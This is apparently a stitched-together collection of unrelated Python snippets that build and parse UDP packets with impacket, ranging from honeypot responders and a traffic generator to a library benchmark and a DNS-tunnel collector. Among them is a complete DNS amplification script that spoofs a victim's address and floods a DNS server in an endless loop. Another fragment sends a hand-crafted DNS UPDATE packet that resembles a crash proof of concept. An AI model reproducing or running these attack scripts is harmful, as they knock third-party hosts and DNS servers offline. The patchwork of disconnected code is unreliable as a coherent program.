def sendReply(nonce): #build ethernet frame eth = ImpactPacket.Ethernet() eth.set_ether_type(0x88b5) eth.set_ether_shost(ETH_MY_MAC) eth.set_ether_dhost(ETH_MY_MAC) #build ip packet ip = ImpactPacket.IP() ip.set_ip_v(4) ip.set_ip_len(32) ip.set_ip_src("127.0.0.1") ip.set_ip_dst("127.0.0.1") #build UDP packet udp = ImpactPacket.UDP() udp.set_uh_sport(62001) udp.set_uh_dport(62000) udp.set_uh_ulen(12) payload = nonce udp.contains(ImpactPacket.Data(payload)) ip.contains(udp) eth.contains(ip) device = findalldevs()[0] s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x88b5)) s.bind(('lo', 0)) s.send(eth.get_packet()) print "Sent: " + nonce signal.alarm(0) #disable the alarm
def decode(self, aBuffer): u = ImpactPacket.UDP(aBuffer) self.set_decoded_protocol(u) off = u.get_header_size() self.data_decoder = DataDecoder() packet = self.data_decoder.decode(aBuffer[off:]) u.contains(packet) return u
def buildAnswer(self, in_onion): out_onion = IPResponder.buildAnswer(self, in_onion) udp = ImpactPacket.UDP() out_onion[O_IP].contains(udp) out_onion.append(udp) udp.set_uh_dport(in_onion[O_UDP].get_uh_sport()) udp.set_uh_sport(in_onion[O_UDP].get_uh_dport()) return out_onion
def udppacket(con, data): """Function returning a udppacket for the given connection with data as payload with target con.tail.""" data = ImpactPacket.Data(data) udp = ImpactPacket.UDP() udp.set_uh_dport(con.tail.port) udp.set_uh_sport(con.head.port) udp.contains(data) ethhead = con.packet(Connection.TAIL, udp) packet = vdepad(cksum(ethhead)) return packet
def opened(self, packet, path, personality, **kwargs): """Function defines open port behavior""" callback_ipid = kwargs.get('cb_ipid', None) # send rUDP udp_packet = packet.child() # udp datagram reply_udp = ImpactPacket.UDP() reply_udp.set_uh_sport(udp_packet.get_uh_dport()) reply_udp.set_uh_dport(udp_packet.get_uh_sport()) reply_udp.auto_checksum = 1 reply_udp.calculate_checksum() # ip packet reply_ip = ImpactPacket.IP() reply_ip.set_ip_v(4) reply_ip.set_ip_p(17) reply_ip.set_ip_rf(False) reply_ip.set_ip_df(False) reply_ip.set_ip_mf(False) reply_ip.set_ip_src(packet.get_ip_dst()) reply_ip.set_ip_dst(packet.get_ip_src()) reply_ip.set_ip_id(callback_ipid()) # check T ttl = 0x7f if 'T' in personality.fp_u1: try: ttl = personality.fp_u1['T'].split('-') # using minimum ttl ttl = int(ttl[0], 16) except BaseException: raise Exception('Unsupported U1:T=%s', personality.fp_u1['T']) # check TG if 'TG' in personality.fp_u1: try: ttl = int(personality.fp_u1['TG'], 16) except BaseException: raise Exception('Unsupported U1:TG=%s', personality.fp_u1['TG']) delta_ttl = ttl - path if delta_ttl < 1: logger.debug( 'Reply packet dropped: TTL reached 0 within virtual network.') return None reply_ip.set_ip_ttl(delta_ttl) reply_ip.auto_checksum = 1 reply_ip.contains(reply_udp) return reply_ip
def read(self, timeout): try: data = self.mySniffer.read(timeout) except: raise ReadTimeout # so we have data, now process it ip_pkt = ImpactPacket.IP(data) offset = ip_pkt.get_header_size() if not ip_pkt.get_ip_p() == ImpactPacket.UDP.protocol: raise NotUDP udp_pkt = ImpactPacket.UDP(data[offset:]) offset += udp_pkt.get_header_size() dnsmsg = dns.message.from_wire(data[offset:]) return dnsmsg
def main(): signal.signal(signal.SIGALRM, lambda *args: handle_alarm()) #build ethernet frame eth = ImpactPacket.Ethernet() eth.set_ether_type(0x88b5) eth.set_ether_shost(ETH_MY_MAC) eth.set_ether_dhost(ETH_MY_MAC) #build ip packet ip = ImpactPacket.IP() ip.set_ip_v(4) ip.set_ip_len(32) ip.set_ip_src("127.0.0.1") ip.set_ip_dst("127.0.0.1") #build UDP packet udp = ImpactPacket.UDP() udp.set_uh_sport(62000) udp.set_uh_dport(62001) udp.set_uh_ulen(12) inp1 = '' print "Client.... Port: " + str(udp.get_uh_sport()) print "--------------------------------------------" while (len(inp1) != 4): inp1 = raw_input('Enter 4-bit ASCII nonce to send: ') if (len(inp1) != 4): print "Enter 4-bit ASCII" payload = inp1 udp.contains(ImpactPacket.Data(payload)) ip.contains(udp) eth.contains(ip) device = 'lo' s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x88b5)) s.bind((device, 0)) s.send(eth.get_packet()) print "Sent: " + inp1 receiveReply()
def main(): if not (len(sys.argv) == 3): print "Syntax:" print " python amplify-dns.py <dns-server> <target>" print " dns-server is the IP address of the DNS server who's replies will be redirected to the target." print " target is the IP address of the attack target." print print "DO NOT DISTRIBUTE THIS CODE. It can do bad things; use it for learning, not for evil." exit() server_address = (sys.argv[1], 53) target_address = (sys.argv[2], 8080) # Create a UDP/IP socket sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP) try: sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) #sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) #sock.bind(target_address) # spoof sender address so response goes to the target random.seed() # randome used to generate unique-(ish) Transaction IDs ip = ImpactPacket.IP() ip.set_ip_src(target_address[0]) ip.set_ip_dst(server_address[0]) udp = ImpactPacket.UDP() udp.set_uh_sport(target_address[1]) udp.set_uh_dport(server_address[1]) ip.contains(udp) request_msg = create_dns_request("www.cs6250.com") while True: time.sleep(0.1) # Replace Transaction ID on each retransmission (so they look unique) request_msg[0] = struct.pack('!BB', random.randint(0, 255), random.randint(0, 255)) udp.contains(ImpactPacket.Data("".join(request_msg))) sock.sendto(ip.get_packet(), server_address) finally: sock.close()
def main(): '''main function for using as cli''' args = get_args() query = dns.message.make_query(args.qname, dns.rdatatype.from_text(args.qtype), dns.rdataclass.from_text(args.qclass)) if args.nsid: query.use_edns(payload=4096, options=[dns.edns.GenericOption(dns.edns.NSID, '')]) data = ImpactPacket.Data(query.to_wire()) udp = ImpactPacket.UDP() udp.set_uh_sport(args.source_port) udp.set_uh_dport(args.destination_port) udp.contains(data) ip = ImpactPacket.IP() ip.set_ip_src(args.source) ip.set_ip_dst(args.destination) ip.contains(udp) s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP) s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) s.sendto(ip.get_packet(), (args.destination, args.destination_port))
def SendUDP(srcIP, dstIP, sessionNr, counter): """ SendUDP sends a specially crafted UDP packet """ # prepare the IP part ip = ImpactPacket.IP() ip.set_ip_src(srcIP) ip.set_ip_dst(dstIP) ip.set_ip_id(counter) # prepare the ICMP part udp = ImpactPacket.UDP() udp.set_uh_sport(sessionNr) udp.set_uh_dport(53) #auto generate checksum udp.set_uh_sum(0) udp.auto_checksum = 1 # prepare the payload # put the target IP and the session number in the payload also for later recovery data = socket.inet_aton(dstIP) + struct.pack( 'H', socket.htons(sessionNr)) + struct.pack('H', socket.htons(counter)) # compose the total packet IP / icmp / payload udp.contains(ImpactPacket.Data(data)) ip.contains(udp) # Open a raw socket. Special permissions are usually required. s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP) s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) # and set it free s.sendto(ip.get_packet(), (dstIP, 0)) # return timestamp for further reference return time.time()
def __init__(self, max_rate=2500, num_flows=10000, pkt_size=100, flow_size_cdf={ 0.999: 10, 0.9999: 100, 0.99999: 1000, 1.0: 100000, }, num_src_machines=100, num_dst_machines=100, iface="eth0", batch_size=1, entity='e', workspace='w'): ''' Initialize a packet generator instance with the specified parameters: - max_rate: maximum bitrate to gen packets in kbps - num_flows: total num of active flows at any given time - pkt_size: packet size - dst_ports_pdf: a dict mapping cdf -> port num "random" can be used instead of port num. - flow_size_pdf: a dict mapping cdf -> flow sizes in packets - num_src/dst_machines: total number of machines this flow generator will simulate - src/dst_ip_prefix: subnet the machines will use as source and dst addresses format: "x.x.x.x/int" - src/dst_mac_prefix: specify the macs for the machines. format:"xx:xx:xx:xx:xx:xx/int" - src/dst_mac_list: If specified, this will override the prefix - iface: name of interface to send packets on ''' self.batch_size = batch_size self.max_flows = num_flows self.flow_size_cdf = flow_size_cdf self.pkt_size = pkt_size self.cdf_counter = 0 self.workspace = workspace self.entity = entity # Calculate the delay between packets to maintain bitrate self.delay = self.batch_size * pkt_size * 8.0 / max_rate / 1000 #print "Delay: %s ms" % (self.delay*1000) # maintains the active flow set self.flows = [] # what flow should a packet come from? self.next_flow = 0 # socket to use if AS_ROOT: e = dts.Entity(iface, entity, True) print 'Entity "{}" registered.'.format(e.title) w = dts.Workspace(iface, workspace) try: w.attach(e) print 'Attached to workspace "{}".'.format(w.title) except dts.DTSException: # Failed to attach, probably does not exists, # then try to create w.create_on_dts(e) print 'Created workspace "{}" and attached to it.'.format( w.title) super(FlowGenerator, self).__init__() self.total_sent = 0 # cache the creation of a packet self.eth = ImpactPacket.Ethernet() self.ip = ImpactPacket.IP() self.udp = ImpactPacket.UDP() data_len = (pkt_size - self.eth.get_header_size() - self.ip.get_header_size() - self.udp.get_header_size()) data = ImpactPacket.Data() data.set_bytes(array.array('B', [i % 0xff for i in range(data_len)])) self.udp.contains(data) self.ip.contains(self.udp) self.eth.contains(self.ip) self.calibrated = False
def closed(self, packet, path, personality, **kwargs): """Function defines closed port behavior""" callback_cipid = kwargs.get('cb_cipid', None) # respond with ICMP error type 3 code 3 # check R if 'R' in personality.fp_u1: if personality.fp_u1['R'] == 'N': return None udp_packet = packet.child() # inner udp datagram # duplicate incoming UDP header inner_udp = ImpactPacket.UDP() inner_udp.set_uh_sport(udp_packet.get_uh_sport()) inner_udp.set_uh_dport(udp_packet.get_uh_dport()) inner_udp.set_uh_ulen(udp_packet.get_uh_ulen()) inner_udp.set_uh_sum(udp_packet.get_uh_sum()) inner_udp.auto_checksum = 0 l = packet.get_ip_len() if l > 1472: # 1500 - 20 - 8 => outer IP and ICMP # 1444 = 1500 - 20 - 8 - 20 - 8 => MTU - outer IP - ICMP - inner IP - UDP data = udp_packet.get_packet()[:1444] else: data = udp_packet.get_packet() data = data[udp_packet.get_header_size():] # same slice as [8:] # inner ip packet # duplicate incoming IP header inner_ip = ImpactPacket.IP() inner_ip.set_ip_v(packet.get_ip_v()) inner_ip.set_ip_hl(packet.get_ip_hl()) inner_ip.set_ip_tos(packet.get_ip_tos()) inner_ip.set_ip_len(packet.get_ip_len()) inner_ip.set_ip_p(packet.get_ip_p()) inner_ip.set_ip_off(packet.get_ip_off()) inner_ip.set_ip_offmask(packet.get_ip_offmask()) inner_ip.set_ip_rf(packet.get_ip_rf()) inner_ip.set_ip_df(packet.get_ip_df()) inner_ip.set_ip_mf(packet.get_ip_mf()) inner_ip.set_ip_src(packet.get_ip_src()) inner_ip.set_ip_dst(packet.get_ip_dst()) inner_ip.set_ip_id(packet.get_ip_id()) inner_ip.set_ip_ttl(packet.get_ip_ttl()) inner_ip.set_ip_sum(packet.get_ip_sum()) inner_ip.auto_checksum = 0 # icmp packet reply_icmp = ImpactPacket.ICMP() reply_icmp.set_icmp_type(ImpactPacket.ICMP.ICMP_UNREACH) reply_icmp.set_icmp_code(ImpactPacket.ICMP.ICMP_UNREACH_PORT) reply_icmp.set_icmp_id(0) # unused field reply_icmp.set_icmp_seq(0) # unused field reply_icmp.auto_checksum = 1 # ip packet reply_ip = ImpactPacket.IP() reply_ip.set_ip_v(4) reply_ip.set_ip_p(1) reply_ip.set_ip_rf(False) reply_ip.set_ip_df(False) reply_ip.set_ip_mf(False) reply_ip.set_ip_src(packet.get_ip_dst()) reply_ip.set_ip_dst(packet.get_ip_src()) reply_ip.set_ip_id(callback_cipid()) reply_ip.auto_checksum = 1 # check DF if 'DF' in personality.fp_u1: if personality.fp_u1['DF'] == 'N': reply_ip.set_ip_df(False) elif personality.fp_u1['DF'] == 'Y': reply_ip.set_ip_df(True) else: raise Exception('Unsupported U1:DF=%s', personality.fp_u1['DF']) # check T ttl = 0x7f if 'T' in personality.fp_u1: try: ttl = personality.fp_u1['T'].split('-') # using minimum ttl ttl = int(ttl[0], 16) except BaseException: raise Exception('Unsupported U1:T=%s', personality.fp_u1['T']) # check TG if 'TG' in personality.fp_u1: try: ttl = int(personality.fp_u1['TG'], 16) except BaseException: raise Exception('Unsupported U1:TG=%s', personality.fp_u1['TG']) delta_ttl = ttl - path if delta_ttl < 1: logger.debug( 'Reply packet dropped: TTL reached 0 within virtual network.') return None reply_ip.set_ip_ttl(delta_ttl) # check UN un = 0 delta_un = 0 index = 0 if 'UN' in personality.fp_u1: if personality.fp_u1['UN'].startswith('>'): delta_un = 1 index = 1 elif personality.fp_u1['UN'].startswith('<'): delta_un = -1 index = 1 try: un = int(personality.fp_u1['UN'][index:], 16) un += delta_un except BaseException: raise Exception('Unsupported U1:UN=%s', personality.fp_u1['UN']) reply_icmp.set_icmp_void(un) # check RIPL ripl = 0x148 if 'RIPL' in personality.fp_u1: if personality.fp_u1['RIPL'] != 'G': try: ripl = int(personality.fp_u1['RIPL'], 16) except BaseException: raise Exception('Unsupported U1:RIPL=%s', personality.fp_u1['RIPL']) inner_ip.set_ip_len(ripl) # check RID rid = 0x1042 if 'RID' in personality.fp_u1: if personality.fp_u1['RID'] != 'G': try: rid = int(personality.fp_u1['RID'], 16) except BaseException: raise Exception('Unsupported U1:RID=%s', personality.fp_u1['RID']) inner_ip.set_ip_id(rid) # check RIPCK if 'RIPCK' in personality.fp_u1: if personality.fp_u1['RIPCK'] == 'I': valid_chksum = packet.get_ip_sum() inner_ip.set_ip_sum(valid_chksum + 256) elif personality.fp_u1['RIPCK'] == 'Z': inner_ip.set_ip_sum(0) elif personality.fp_u1['RIPCK'] == 'G': # leave it as original pass else: raise Exception('Unsupported U1:RIPCK=%s', personality.fp_u1['RIPCK']) # check RUCK if 'RUCK' in personality.fp_u1: try: ruck = int(personality.fp_u1['RUCK'], 16) inner_udp.set_uh_sum(ruck) except BaseException: # leave it as original pass # check RUD # data_len = udp_packet.get_uh_ulen() - udp_packet.get_header_size() if 'RUD' in personality.fp_u1: if personality.fp_u1['RUD'] == 'I': inner_udp.contains('G' * udp_packet.get_uh_ulen()) elif personality.fp_u1['RUD'] == 'G': inner_udp.contains(ImpactPacket.Data(data)) # truncated to zero OR copy original datagram => 'C'*data_len (0x43) else: raise Exception('Unsupported U1:RUD=%s', personality.fp_u1['RUD']) # check IPL if 'IPL' in personality.fp_u1: try: ipl = int(personality.fp_u1['IPL'], 16) reply_ip.set_ip_len(ipl) inner_ip.contains(inner_udp) reply_icmp.contains(inner_ip) except BaseException: raise Exception('Unsupported U1:IPL=%s', personality.fp_u1['IPL']) reply_icmp.calculate_checksum() reply_ip.contains(reply_icmp) return reply_ip
payload += '\x00\x00' payload += '\xc0\x0c' # \xc0\x0c DELETE payload += '\xff\xfd' # \x00\x01 QTYPE rrset to delete KEYDATA 65533 payload += '\x00\x01' # \x00\xff QCLASS rrset to delete UNUSED payload += '\x00\x00' # \x00\x00 payload += '\x00\x0a' payload += '\x00\x04' payload += '\x41\x41\x41\x41' saddr = '192.168.1.130' daddr = '192.168.1.128' sport = 53133 dport = 53333 ip = ImpactPacket.IP() ip.set_ip_src(saddr) ip.set_ip_dst(daddr) udp = ImpactPacket.UDP() udp.set_uh_sport(sport) udp.set_uh_dport(dport) udp.contains(ImpactPacket.Data(payload)) ip.contains(udp) udp.auto_checksum = 1 s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP) s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) ret = s.sendto(ip.get_packet(), (daddr, 0)) print("\nsendto %s: %d bytes, ret = %d\n" % (daddr, ip.get_size(), ret))
def collector(self, packet): packetdata = None try: eth = ImpactDecoder.EthDecoder().decode(packet) off = eth.get_header_size() if eth.get_ether_type() == ImpactPacket.IP.ethertype: ip_decoder = ImpactDecoder.IPDecoder() ip = ip_decoder.decode(packet[off:]) dst = ip.get_ip_dst() src = ip.get_ip_src() if ip.get_ip_p() == ImpactPacket.UDP.protocol: udp = ip.child() payload = udp.child().get_bytes().tostring() try: import hexdump try: msg = message.from_wire(payload) except Exception as e: # Not an acceptable DNS packet return None if len(msg.answer) > 0: # Packet should not have an answer section return None if len(msg.question) > 0: for q in msg.question: #if hasattr(q, 'name'): if q.rdtype == rdatatype.A: if self.PROPERTIES['subdomain']['Value']: prefix = '.%s.%s.' % ( self.PROPERTIES['subdomain'] ['Value'], self.PROPERTIES['domain']['Value']) else: prefix = '.%s.' % ( self.PROPERTIES['domain']['Value']) if prefix == q.name.to_text( )[-len(prefix):]: # Send a reply to the DNS packet try: r = message.make_response(msg) a = A(rdataclass.IN, rdatatype.A, '79.70.84.71' ) # OFTG in dotted-decimal rrs = rrset.from_rdata( q.name.to_text(), 30, a) r.answer.append(rrs) data = ImpactPacket.Data( r.to_wire()) rudp = ImpactPacket.UDP() rudp.set_uh_sport(53) rudp.set_uh_dport(12345) rudp.contains(data) rip = ImpactPacket.IP() rip.set_ip_dst(src) rip.set_ip_src(self.getlocaladdr()) rip.contains(rudp) s = socket.socket( socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP) s.setsockopt( socket.IPPROTO_IP, socket.IP_HDRINCL, 1) s.sendto(rip.get_packet(), (src, 12345)) except Exception as e: self.logger.error( 'Failed to send reply packet with %s: %s' % (self.__class__.__name__, e)) dnsdata = q.name.to_text( )[:-len(prefix)] dnsdata = self.dnsb64unescape(dnsdata) payload = self.decoder(dnsdata) result = payload # TODO: Fix results result['Source Host'] = src result['Protocol Subtype'] = 'Port' result[ 'Subtype'] = 53 #str(ip.child().get_uh_sport()) return result except DNSException: pass except Exception as e: if e: print 'Error %s' % e.message raise elif eth.get_ether_type() == IP6.IP6.ethertype: ip6_decoder = ImpactDecoder.IP6Decoder() ip6 = ip6_decoder.decode(packet[off:]) src = ip6.get_source_address() packetdata = ip6.get_data_as_string() self.logger.debug( 'Skipping IPv6 packet (not supported for this plugin)') if not packetdata: return None return None except Exception as e: raise return None
def compare_create(cnt): """ dpkt: 14915.2445937 pps dpkt (manual): 15494.3632903 pps impacket: 3929.30572776 pps openbsd.packet: 1503.7928579 pps scapy: 348.449269721 pps xstruct: 88314.8953732 pps """ src = dnet.addr('1.2.3.4').ip dst = dnet.addr('5.6.7.8').ip data = 'hello world' start = time.time() for i in range(cnt): dnet.ip_checksum( str( dpkt.ip.IP(src=src, dst=dst, p=dnet.IP_PROTO_UDP, len=dnet.IP_HDR_LEN + dnet.UDP_HDR_LEN + len(data), data=dpkt.udp.UDP(sport=111, dport=222, ulen=dnet.UDP_HDR_LEN + len(data), data=data)))) print('dpkt:', cnt / (time.time() - start), 'pps') start = time.time() for i in range(cnt): dnet.ip_checksum( str( dpkt.ip.IP(src=src, dst=dst, p=dnet.IP_PROTO_UDP, len=dnet.IP_HDR_LEN + dnet.UDP_HDR_LEN + len(data))) + str( dpkt.udp.UDP( sport=111, dport=222, ulen=dnet.UDP_HDR_LEN + len(data))) + data) print('dpkt (manual):', cnt / (time.time() - start), 'pps') start = time.time() for i in range(cnt): ip = ImpactPacket.IP() ip.set_ip_src('1.2.3.4') ip.set_ip_dst('5.6.7.8') udp = ImpactPacket.UDP() udp.set_uh_sport(111) udp.set_uh_dport(222) udp.contains(ImpactPacket.Data(data)) ip.contains(udp) ip.get_packet() print('impacket:', cnt / (time.time() - start), 'pps') start = time.time() for i in range(cnt): p = packet.createPacket(packet.IP, packet.UDP) p['ip'].src = '1.2.3.4' p['ip'].dst = '5.6.7.8' p['udp'].sport = 111 p['udp'].dport = 22 p['udp'].payload = data p.finalise() p.getRaw() print('openbsd.packet:', cnt / (time.time() - start), 'pps') start = time.time() for i in range(cnt): ip = scapy.IP(src='1.2.3.4', dst='5.6.7.8') / \ scapy.UDP(sport=111, dport=222) / data ip.build() print('scapy:', cnt / (time.time() - start), 'pps') start = time.time() for i in range(cnt): udp = xudp() udp.sport = 111 udp.dport = 222 udp.ulen = dnet.UDP_HDR_LEN + len(data) ip = xip() ip.src = src ip.dst = dst ip.p = dnet.IP_PROTO_UDP ip.len = dnet.IP_HDR_LEN + udp.ulen dnet.ip_checksum(str(ip) + str(udp) + data) print('xstruct:', cnt / (time.time() - start), 'pps')